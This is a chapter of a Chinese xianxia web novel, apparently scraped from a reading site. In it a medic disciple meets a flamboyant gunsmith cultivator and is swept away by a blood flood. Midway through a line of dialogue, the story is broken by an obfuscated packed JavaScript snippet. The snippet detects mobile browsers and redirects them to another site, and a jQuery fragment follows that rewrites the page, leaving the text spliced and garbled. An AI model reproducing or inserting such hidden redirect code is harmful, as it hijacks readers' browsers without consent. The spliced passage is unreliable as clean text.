4. 血肉熔炉
作品:《哑巴师妹有话要说》 这哑巴隔空喊话,既不用嘴,也不劳手,燕衔花雁过拔毛、兽走留皮的活计可没停。在确认脚下“废肉”死透了之后,她迫不及待地掏起了后者的喉咙。
无利不起早。燕衔花有一马当先、搴旗取将的悍勇,自然是嗅见了足够多的甜头。
咕叽——
燕衔花伸手探入血盆大口,任凭黏红与腻白裹满了掌心,她连眉毛都没动一下。都说穷人的孩子早当家,燕衔花五岁能杀鸡,小场面,不是事儿。
她掏出了什么,匆忙扫上了一眼,飞快收进了袖暗袋:
“心月狐之髓”。
这玩意儿大如雀卵、灿若明霞,色泽奇幻,质地莹润,实乃上等的天工玉,打造天球的绝佳材料。
先前,燕衔花起卦问路,把天球问出了一条缝儿——用“心月狐之髓”琢磨成的新元件来替换,再理想不过,至少能省下三年五载的月俸钱。
“哟,小仙子,手气不错啊。”
有人凑过来,轻笑了一声:
“便宜价,白银九两。叫声哥来听——我就帮你打了。”
谁?
燕衔花毛骨悚然:
他什么时候……近了我的身?
来人正是那嫌丑爱美的元婴老祖。
燕衔花早就发现了,这神人压根就没走远,在附近来回转悠,比起逃命更像是……呃,散步。
——在血肉熔炉里当街溜子?
燕衔花大夫诊断:
一,他是神经病;
二,他是无聊的神经病;
三,他是架海擎天、降魔斩将的无聊神经病。
对付这种神经病,跪下来求他,估计还得排队——但是一嗓门儿就能够喊过来。毕竟,找乐子、凑热闹,是神经病的底层代码,比狗吃屎更难改。
燕衔花赌这神经病会来。
……她没想到的是,人会来得这么快、这么悄默声、这么猝不及防!
“出汗了?”对方又笑,“这么怕我啊?”
燕衔花警惕地抬头,先是望进了一双翡翠色的狐狸眼,有淡淡兴味,浅浅无聊。少顷,她注意到一头色如熔金、灿若明霞的长发,闻见了须曼那与阇提华的香气。
原来是应许地的番人。
旧日地幅员辽阔,其东起丰苇地,西抵应许地——番人世代聚居于此,皆金发碧眼,深目高鼻。
……等会儿。
引劫、元婴、金毛?
燕衔花眼皮一跳,心说不会吧,来得早不如赶得巧,真给她遇见“国色天鸭”了!
国色天鸭,旧日地的传奇人物,同时谈一百零八位道侣的浪荡子。别人最多是左拥右抱、三妻四妾,他的风流债能分出三十六天罡星与七十二地煞星来,可谓是忠义堂石碣受天文,梁山泊英雄排座次。
照理来说,这一百零八位道侣,每人拼上一刀,也能把这根烂黄瓜砍成血雾。可是,他业务能力一流,客情关系稳固,销售技巧与服务意识深受广大修士好评——烂黄瓜常有,而国色天鸭不常有;是以,国色天鸭臭名昭著,仍旧逍遥自在。
“……”燕衔花行礼,“晚辈见过哥舒翡仙长。”
听多了八卦,她也记住了大名儿,国色天鸭姓哥舒,单名一个翡字,天工城人氏。
当然,这声仙长可不是白叫的——周围“废肉”张牙舞爪,一拥而上!
哥舒翡心领神会地乐了。
——咔。
他反手拔出了一柄奇形异状的兵器。
这是“机锋”,以寻常刀剑为基底,装配有弹匣、击铁与扳机,构造精妙微纤,口弗能言,志不能喻。
怪不得,燕衔花恍然,原是她少见多怪了。
哥舒翡是一名机匠,号称“追风逐电、绝尘灭影”的引劫,别说近燕衔花一介天问的身——机匠击长空,机匠翔浅底,万类机匠竞自由。
“小仙子,捂住耳朵。”
哥舒翡合拢机锋转轮,发力一拧,嗡——!兵器沉雄地低吼起来,内膛急遽地加热,向外迸溅出闪丽的电火花:
滋啦啦——!!
电火花尖啸着上升,似飞星迸溅,疾雷暴降,犹如千万条金蛇狂舞。
剑骨出鞘·天工人其代之。
“……接下来呢,会有一点儿吵。”
劲风来如奔。在哥舒翡身后,一头“废肉”飞扑而来,他没有回头,只是机锋反握,刀把朝前、铳口向后——向后开火!
嘭!!
机锋发射铳弹,正中“废肉”眉心。后者的脑袋好似烂熟的瓜果,皮肉爆开、汁水飞溅,哥舒翡不以为意,他还在笑,仿佛是只懂这一个表情。
这就是元婴修为的机匠,有雷车动地之势、强弩夹射之能,哥舒翡一出手,自然地挑走了怪物们的注意力。
他若有所思:“我想啃寒瓜。”
燕衔花:“……”
神经病,谁在意!
哥舒翡随手一抓,揪住了一头“废肉”的顶皮,翻身一跃——他竟然抬腿跨坐在了怪物的肩头,惊恐的“废肉”横冲直撞,哥舒翡放声大笑:
“好玩儿!”
他玩尽兴了才乐意下来,反手一拧,干脆利落地扭断了“坐骑”的脖子。
这神经病比怪物还怪物,较恶霸更恶霸,偏巧生了一张玉质金相、唇红齿白的美人脸,生来就倒欠世人三千笔风流债。
哥舒翡扬起手,飞溅的鲜血拔地而起、垂天而落,化作一颗又一颗猩红的液滴。这是机匠的能力,血滴旋转、碰撞又凝结,一支玲珑奇巧的赤晶花摇曳着盛放。
“拢共一千五百滴血,”哥舒翡欠下身,递来那支赤晶花,“——小仙子,送你一三一四颗。”
燕衔花不是很想接:“……”
大哥。
她顾左右而言他:“剩下的去哪儿了?”
“剩下的一八六?”
他挤眉弄眼,好一个掩袖工馋,狐媚惑主:
“问得好——那自然是哥的身高。”
你怎么知道我有一米八六呢?
燕衔花:“……”
大哥!
·
·
·
哥舒翡一入场,攻守之势异也。
只见右岔道风激电骇,他如入无人之境,三起三落、七进七出——哥舒翡实在是太快了!寻常的“废肉”压根反应不过来,进攻与退守,没有任何的区别。
撞上了他,下场只会有一个:
死!!
“……”
众人目瞪口呆。
“多、多谢前辈,”九师姐回过神来,匆忙补上礼数,“路见不平、拔刀相助……”
哥舒翡笑,连个正眼都欠奉:“——收。”
九师姐:“……”她咬住舌尖,不敢再说一个字。
滴答、滴答、滴答,殷红的鲜血漫爬过古铜的皮肤,好似死人不甘心的手指,将哥舒翡往下拽。他倒提长锋,眼神冷淡,气质疏离,偏生一脸笑容。
疯子。
——谁敢招惹他?
“别谢我。”哥舒翡打了个哈欠,“要不是那小仙子着实有趣,谁会平白无故帮你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463969|185429||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们这群废物?——这么多七杀,连一帮‘废肉’都解决不了,还要归元帮忙出头,不害臊么?”
让救死扶伤的大夫冲在最前面?
有创意——敢这么打,父母怎么办?
“……”
众人这才意识到,躲在燕衔花身后到底有多丢脸,廉耻心刷新,羞愧感重置,不约而同地关心起天气来。
燕衔花错愕,没想到哥舒翡的狗嘴里还能吐出象牙来,不由得生出几分好感:“仙长……”
哥舒翡扶额苦笑:“唉,迷上我了吗?真拿你没办法,那请我吃一颗寒瓜吧。”
书接上回,他好想——好想——好想啃寒瓜。
燕衔花的好感顿时归零:“……”
神经病,谁在意!
·
·
·
“哇,”哥舒翡惊讶,“小仙子,这茅厕涨潮了喔。”
元婴老祖只愿意理会燕衔花一人,不少人投来五味杂陈的目光,有羡慕,有畏惧,有崇拜。
燕衔花却不是很愿意理会这神经病:“……”
话虽如此,她还是凑过去张望一二,脸色登时大变:
——坏了!
不知从何时起,深红的鲜血漫过了走廊低洼处,沸沸汤汤,浩浩荡荡。燕衔花心惊肉跳地查看自己的鞋袜,这不是“废肉”们的鲜血,这是……熔炉本身的鲜血!
燕衔花大吃一惊:“怎么会?”
“不知道,”哥舒翡福至心灵,“难道是月信?”
燕衔花:“……”
大哥。
总而言之,此地不宜久留。燕衔花望向九师姐:“我们——”
轰!!
有血潮吼地而来,急湍甚箭、猛浪若奔,一眨眼淹过众人头顶,好似万群风马骤红鞍!
燕衔花奋力地伸出手去,想用“祸络”吊起自己和九师姐,开什么玩笑……她决不能、决不能、决不能淹死在这里!
“笨鸟儿,”哥舒翡大喊,“管好你自己便是,‘祸络’可不是这么用的!”
——那桃粉颜色的长丝线拴不住两个人!
九师姐又没聋,下意识地搂紧了燕衔花,生怕神通广大的师妹,会丢下自己不管。
生死攸关之际,仁义礼智信忠孝悌节恕勇让,九师姐管不了这么多。
燕衔花大怒:“少管我!!”
“祸络”要怎么用,我自己说了算!
话音未落,“祸络”绕着九师姐飞了两圈儿,将她固定在最高处。
燕衔花正要如法炮制,把自己也绑好——行不通,她的“祸络”本就不是绳索,没这么长!
哥舒翡说得对……她燕衔花,果然是一只笨鸟儿。
九师姐尖叫:“师妹!!”
惊涛隆起,骇浪崩云。走廊不堪重负,一时间榱崩栋折,燕衔花消失在横流的血海里。
·
·
·
注1:“大如雀卵……”出自《红楼梦》。
注2:“架海擎天……”出自《水浒传》。
注3:“忠义堂石碣受天文……”出自《水浒传》。
注4:“精妙微纤……”出自《吕氏春秋》。
注5:“追风逐电……”出自《新论》。
注6:“霹雳列缺……”出自《汉书》。
注7:“劲风来如奔”出自《望山》。
注8:“掩袖工馋……”出自《为徐敬业讨武曌檄 》。
注9:“急湍甚箭……”出自《与朱元思书》。